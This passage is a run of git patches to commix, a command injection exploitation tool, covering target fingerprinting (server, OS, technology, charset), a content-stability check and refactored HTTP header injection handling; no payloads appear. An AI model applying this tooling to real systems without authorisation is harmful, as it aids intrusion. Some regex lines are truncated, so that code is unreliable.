src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list try: - from readline import * - import readline as readline if settings.PLATFORM == "mac": + import readline if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): import gnureadline as readline + from readline import * + else: + import readline + from readline import * except: try: - from pyreadline import * import pyreadline as readline + from pyreadline import * except: settings.READLINE_ERROR = True diff --git a/src/utils/settings.py b/src/utils/settings.py index 92b366f255..95a614ba9a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c64300d9f9b873d6361c697fc6712a0ef94ebcfc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 4 Jul 2025 07:01:22 +0300 Subject: [PATCH 0579/1023] Added check to verify target URL content stability via delayed response comparison --- doc/CHANGELOG.md | 1 + src/core/main.py | 2 ++ src/core/requests/requests.py | 19 +++++++++++++++++++ 3 files changed, 22 insertions(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6b91223d92..9aecb6b94a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Added: Ability to verify target URL content stability by comparing responses across delayed requests. * Revised: Improved session handler for enhanced stability and data integrity. * Revised: Improved semiblind ("file-based") technique with filename customization prompt (random or user-defined). * Fixed: Improved handling of non-ASCII characters in URL path and query components. diff --git a/src/core/main.py b/src/core/main.py index 05cabe77c1..5416995e07 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -518,6 +518,7 @@ def main(filename, url, http_request_method): try: info_msg = "Performing heuristic (passive) tests on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + requests.is_url_content_stable(url) # Webpage encoding detection. requests.encoding_detection(response) # Procedure for target server identification. @@ -526,6 +527,7 @@ def main(filename, url, http_request_method): requests.application_identification(url) # Specifies the technology supporting the web application requests.technology_identification(response) + # Procedure for target server's operating system identification. if not settings.IDENTIFIED_TARGET_OS: requests.os_identification(response) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d536a116f6..32ca7835d5 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -39,6 +39,25 @@ from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init +""" +Check if the content of the given URL is stable over time. +""" +def is_url_content_stable(url, delay=5): + status = "stable (static)" + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing if the target URL content is " + status + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: + first_response_content = _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read().strip() + time.sleep(delay) + second_response_content = _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read().strip() + if first_response_content != second_response_content: + status = "dynamic (changes between requests)" + except Exception: + pass + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target URL is content " + status + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Do a request to target URL. From 73be8b0645fd26afadf59aa8b14c34972b6495a5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 4 Jul 2025 07:04:31 +0300 Subject: [PATCH 0580/1023] Update settings.py --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 95a614ba9a..1c299fa497 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 20c23729debe09ea03238d776423aecc432b490a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Jul 2025 08:16:59 +0300 Subject: [PATCH 0581/1023] Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags --- doc/CHANGELOG.md | 1 + src/core/requests/requests.py | 94 +++++++++++++++++++++++------------ src/utils/settings.py | 2 +- 3 files changed, 64 insertions(+), 33 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9aecb6b94a..0787ee5cf9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags. * Added: Ability to verify target URL content stability by comparing responses across delayed requests. * Revised: Improved session handler for enhanced stability and data integrity. * Revised: Improved semiblind ("file-based") technique with filename customization prompt (random or user-defined). diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 32ca7835d5..c717d01dd5 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -716,51 +716,81 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): return response """ -Target's encoding detection +Detect the character encoding of the target web page. """ def encoding_detection(response): charset_detected = False + charset = None + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the web page charset." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: - # Detecting charset + # Read once + content_bytes = response.read() + try: + content_text = content_bytes.decode("utf-8", errors="ignore") + except: + content_text = "" + + # 1. Get charset from HTTP header (may be None) try: - # Support for python 2.7.x - charset = response.headers.getparam('charset') + header_charset = response.headers.getparam('charset') # Python 2 except AttributeError: - # Support for python 3.x - charset = response.headers.get_content_charset() - if charset != None and len(charset) != 0 : - charset_detected = True - else: - content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] - if len(content) != 0 : - charset = content - charset_detected = True - else: - # Check if HTML5 format - charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] - if len(charset) != 0 : - charset_detected = True - # Check the identifyied charset - if charset_detected: - settings.DEFAULT_PAGE_ENCODING = charset - if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: - warn_msg = "The web page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The web page charset appears to be " + settings.DEFAULT_PAGE_ENCODING + "." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + try: + header_charset = response.headers.get_content_charset() # Python 3 + except: + header_charset = None + + if header_charset: + header_charset = header_charset.strip().lower() + + # 2. Find all meta charset declarations + + # HTML5 + meta_charset_match = re.search(r' + meta_http_equiv_match = re.search( + r' Date: Tue, 8 Jul 2025 07:30:08 +0300 Subject: [PATCH 0582/1023] Trivial code refactoring --- src/core/requests/requests.py | 132 +++++++++++++++++++--------------- src/utils/settings.py | 2 +- 2 files changed, 77 insertions(+), 57 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c717d01dd5..f366d8f7df 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -43,21 +43,25 @@ Check if the content of the given URL is stable over time. """ def is_url_content_stable(url, delay=5): - status = "stable (static)" + status = "stable" if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Testing if the target URL content is " + status + "." + debug_msg = "Testing if the target URL content remains consistent between requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: first_response_content = _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read().strip() time.sleep(delay) second_response_content = _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read().strip() if first_response_content != second_response_content: - status = "dynamic (changes between requests)" + status = "dynamic" except Exception: - pass + msg = "Unable to determine target URL content stability due to retrieval errors." + settings.print_data_to_stdout(settings.print_warning_msg(msg)) + return + if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target URL is content " + status + "." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + msg = "Target URL content is " + status + "." + settings.print_data_to_stdout(settings.print_bold_debug_msg(msg)) + """ Do a request to target URL. @@ -723,7 +727,7 @@ def encoding_detection(response): charset = None if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the web page charset." + debug_msg = "Detecting the character encoding declared by the web page." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: @@ -778,8 +782,8 @@ def encoding_detection(response): warn_msg = "The web page charset '" + charset + "' seems unknown." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "The declared web page charset is '" + charset + "'" - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + debug_msg = "Web page declares character encoding as '" + charset + "'" + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) except Exception as e: if settings.VERBOSITY_LEVEL != 0: @@ -790,137 +794,153 @@ def encoding_detection(response): warn_msg = "Failed to identify the web page charset." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ -Procedure for target application identification +Identify the target application's type based on the URL extension. """ def application_identification(url): found_application_extension = False + if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target application." + debug_msg = "Detecting the type of target application based on URL and headers." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True + if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application appears to be " + settings.TARGET_APPLICATION + "." + debug_msg = "Target application identified as " + settings.TARGET_APPLICATION + "." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - # Check for unsupported target applications - for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): - if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): + for unsupported in settings.UNSUPPORTED_TARGET_APPLICATION: + if settings.TARGET_APPLICATION.lower() in unsupported.lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if not found_application_extension: - if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Failed to identify target's application." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not found_application_extension and settings.VERBOSITY_LEVEL != 0: + warn_msg = "Failed to identify the target application's type from the URL." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Underlying operating system check. +Detect the underlying operating system of the target server based on server headers. """ -def check_os(_): +def check_os(server_header): + identified_os = "unknown" + user_defined_os = None + if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS - for i in range(0,len(settings.SERVER_OS_BANNERS)): - match = re.search(settings.SERVER_OS_BANNERS[i].lower(), _.lower()) + for banner in settings.SERVER_OS_BANNERS: + match = re.search(banner.lower(), server_header.lower()) if match: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the underlying operating system." + debug_msg = "Detecting the operating system hosting the target server." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.IDENTIFIED_TARGET_OS = True settings.TARGET_OS = match.group(0) - match = re.search(r"microsoft|win", settings.TARGET_OS) - if match: - settings.TARGET_OS = identified_os = settings.OS.WINDOWS + + if re.search(r"microsoft|win", settings.TARGET_OS, re.IGNORECASE): + identified_os = settings.OS.WINDOWS + settings.TARGET_OS = identified_os + if menu.options.os and user_defined_os != settings.OS.WINDOWS: if checks.identified_os(): settings.TARGET_OS = user_defined_os - else: - settings.TARGET_OS = settings.OS.WINDOWS + if menu.options.shellshock: - err_msg = "The shellshock module ('--shellshock') is not available for " + identified_os + " targets." + err_msg = "The shellshock module ('--shellshock') is not available for Windows targets." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" + if menu.options.os and user_defined_os == settings.OS.WINDOWS: if checks.identified_os(): settings.TARGET_OS = user_defined_os + break - if settings.VERBOSITY_LEVEL != 0 : + if settings.VERBOSITY_LEVEL != 0: if settings.IDENTIFIED_TARGET_OS: - debug_msg = "The underlying operating system appears to be " + identified_os.title() + "." + debug_msg = "Underlying operating system identified as " + identified_os + "." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + """ -Target application identification +Identify the underlying technology or framework powering the target application. """ def technology_identification(response): - x_powered_by = response.info()[settings.X_POWERED_BY] - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the technology supporting the target application." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - if len(x_powered_by) != 0: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application is powered by " + x_powered_by + "." + x_powered_by = response.info().get(settings.X_POWERED_BY, "").strip() + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Detecting the underlying technology or framework powering the target application." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + if x_powered_by: + debug_msg = "Target application technology detected as " + x_powered_by + "." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - check_os(x_powered_by) + check_os(x_powered_by) + else: + warn_msg = "Failed to identify the technology supporting the target application." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - except Exception as e: + except Exception: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify the technology supporting the target application." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ -Target server's identification. +Identify the software running on the target web server. """ def server_identification(response): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the software used by target server." + debug_msg = "Detecting the software running on the target web server." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - server_banner = response.info()[settings.SERVER] - for i in range(0,len(settings.SERVER_BANNERS)): - match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) + server_banner = response.info().get(settings.SERVER, "").strip() + for banner in settings.SERVER_BANNERS: + match = re.search(banner.lower(), server_banner.lower()) if match: settings.SERVER_BANNER = match.group(0) - # Set up default root paths + + # Set up default document root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[1] else: - settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace( + settings.DOC_ROOT_TARGET_MARK, settings.TARGET_URL) elif "nginx" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[6] elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break - if len(server_banner) != 0 and settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target server's software appears to be " + server_banner + "." + if server_banner and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Target server software identified as " + server_banner + "." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ -Procedure for target server's operating system identification. +Identify the underlying operating system based on the server banner. """ def os_identification(response): if not settings.IGNORE_IDENTIFIED_OS: - server_banner = response.info()[settings.SERVER] - identified_os = check_os(server_banner) + server_banner = response.info().get(settings.SERVER, "") + check_os(server_banner) if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: - warn_msg = "Failed to identify server's underlying operating system." + warn_msg = "Failed to identify the server's underlying operating system." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) checks.define_target_os() + """ Perform target page reload (if it is required). """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 403b3977b7..ce736f52d3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0e9d7b124f9499ec30bf32c9c44f99bd73915cbc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 9 Jul 2025 06:41:11 +0300 Subject: [PATCH 0583/1023] Minor refactoring to ensure a minimum delay of 5 seconds before reloading --- src/core/requests/requests.py | 15 +++++++++------ src/utils/settings.py | 2 +- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f366d8f7df..782c4dc5e7 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -942,13 +942,16 @@ def os_identification(response): """ -Perform target page reload (if it is required). +Perform a target page reload after a specified delay (minimum 5 seconds). """ -def url_reload(url, timesec): - if int(timesec) <= 5: - timesec = 5 - time.sleep(timesec) - response = urllib.urlopen(url) +def url_reload(url, delay_seconds): + # Ensure a minimum delay of 5 seconds before reloading + if int(delay_seconds) < 5: + delay_seconds = 5 + time.sleep(delay_seconds) + + # Perform the URL request and return the response + response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) return response """ diff --git a/src/utils/settings.py b/src/utils/settings.py index ce736f52d3..621b683d7e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a7bae02d9f2a7b34170bb03b2ce3d3f5614c88da Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Jul 2025 08:07:31 +0300 Subject: [PATCH 0584/1023] Fixes https://github.com/commixproject/commix/issues/1025 --- src/core/requests/redirection.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 00f28df68c..f15b35351c 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -68,7 +68,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): requests.crawler_request(redirect_url) try: - if (len(settings.REDIRECT_CODE) == 0) or (settings.CRAWLING and redirect_url in settings.HREF_SKIPPED): + if (not settings.REDIRECT_CODE) or (settings.CRAWLING and redirect_url in settings.HREF_SKIPPED): return redirect_url elif settings.CRAWLING and url in settings.HREF_SKIPPED: return url diff --git a/src/utils/settings.py b/src/utils/settings.py index 621b683d7e..a82bdf655c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 94b9074b910d46b61e189299fca7a3a24acbfea7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 11 Jul 2025 07:01:29 +0300 Subject: [PATCH 0585/1023] Fixes https://github.com/commixproject/commix/issues/1027 --- src/core/requests/headers.py | 12 ++++++++---- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 153d8a1dc6..f7b2bfe396 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -85,10 +85,14 @@ def http_response(headers, code): Print HTTP response headers / Body. """ def print_http_response(response_headers, code, page): - if int(code) in settings.ABORT_CODE: - err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + try: + if int(code) in settings.ABORT_CODE: + err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except (ValueError, TypeError): + warn_msg = "Skipping abort check due to invalid (or missing) HTTP response code '" + str(code) + "'" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: diff --git a/src/utils/settings.py b/src/utils/settings.py index a82bdf655c..a31cf4287d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 58faa1cf059cf725f44689bc95dab3093a501048 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Jul 2025 08:36:56 +0300 Subject: [PATCH 0586/1023] Fixes https://github.com/commixproject/commix/issues/1043 --- src/core/injections/controller/checks.py | 29 ++++++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 13 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 184aadd433..76a9d8bda7 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -176,20 +176,25 @@ def remove_tags(data): return data.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") """ -Process data with custom injection marker character ('*'). +Process data with custom injection marker character ('*') """ def process_custom_injection_data(data): - if settings.CUSTOM_INJECTION_MARKER != None and isinstance(data, str): - _ = [] - for data in data.split("\\n"): - if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: - if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False: - data = remove_tags(data) - # elif settings.CUSTOM_INJECTION_MARKER: - data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) - _.append(data) - data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - + if not isinstance(data, str): + # Safely return empty string if input is not a valid string + return "" + + if settings.CUSTOM_INJECTION_MARKER is not None: + lines = [] + for line in data.split("\\n"): + if not line.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in line: + if menu.options.test_parameter is not None and settings.CUSTOM_INJECTION_MARKER is False: + line = remove_tags(line) + line = line.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + lines.append(line) + + # Remove duplicates, then rejoin lines + data = "\\n".join(list(dict.fromkeys(lines))).rstrip("\\n") + return data """ diff --git a/src/utils/settings.py b/src/utils/settings.py index a31cf4287d..60b8675553 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 18b48bc4ea4ccc650f50d3538ee49e1799b8b1c1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 15 Jul 2025 07:00:59 +0300 Subject: [PATCH 0587/1023] Minor code refactoring --- src/core/requests/parameters.py | 85 ++++++++++++++------------------- src/utils/settings.py | 2 +- 2 files changed, 36 insertions(+), 51 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index a97fae4ddd..d871c71be0 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -542,6 +542,8 @@ def prefixes(payload, prefix): parameter = menu.options.cookie specify_cookie_parameter(parameter) if settings.CUSTOM_HEADER_INJECTION: + if not settings.LOAD_SESSION: + parameter = settings.CUSTOM_HEADER_VALUE specify_custom_header_parameter(parameter) elif settings.USER_AGENT_INJECTION: if not settings.LOAD_SESSION: @@ -747,74 +749,57 @@ def specify_cookie_parameter(cookie): return vuln_parameter """ -The user-agent based injection. +Process a given HTTP header value for custom injection. """ -def specify_user_agent_parameter(user_agent): +def specify_header_injection_parameter(header_value, header_name): try: - header_name = settings.USER_AGENT - settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + # Replace placeholder asterisk with actual injection tag + settings.TESTABLE_VALUE = checks.process_custom_injection_data(header_value).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + + # If a custom injection marker is in use and detected in the value if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - # Safely handle the split to avoid IndexError + # Track which headers are involved in the injection process + if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) + + # Keep a list of actual header values that were testable + if header_value not in settings.TESTABLE_PARAMETERS_LIST: + settings.TESTABLE_PARAMETERS_LIST.append(header_value) + + # Split the value at the injection tag to get surrounding characters split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): + # Gracefully ignore errors from missing attributes or bad splits pass - return user_agent + + return header_value """ -The referer based injection. +Wrapper for processing User-Agent header injection. +""" +def specify_user_agent_parameter(user_agent): + return specify_header_injection_parameter(user_agent, settings.USER_AGENT) + +""" +Wrapper for processing Referer header injection. """ def specify_referer_parameter(referer): - try: - header_name = settings.REFERER - settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - # Safely handle the split to avoid IndexError - split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' - except (AttributeError, IndexError): - pass - return referer + return specify_header_injection_parameter(referer, settings.REFERER) """ -The host based injection. +Wrapper for processing Host header injection. """ def specify_host_parameter(host): - try: - header_name = settings.HOST - settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - # Safely handle the split to avoid IndexError - split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' - except (AttributeError, IndexError): - pass - return host + return specify_header_injection_parameter(host, settings.HOST) """ -The Custom http header based injection. +Wrapper for processing a custom-defined HTTP header injection. """ -def specify_custom_header_parameter(header_name): - try: - header_name = settings.CUSTOM_HEADER_NAME - if settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - # Safely handle the split to avoid IndexError - split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' - except (AttributeError, IndexError): - pass - return header_name +def specify_custom_header_parameter(custom_header_value): + return specify_header_injection_parameter(custom_header_value, settings.CUSTOM_HEADER_NAME) + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 60b8675553..dfc455873a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 460b4f0445693543d847324e11b4ac0a8afcef34 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 16 Jul 2025 06:53:46 +0300 Subject: 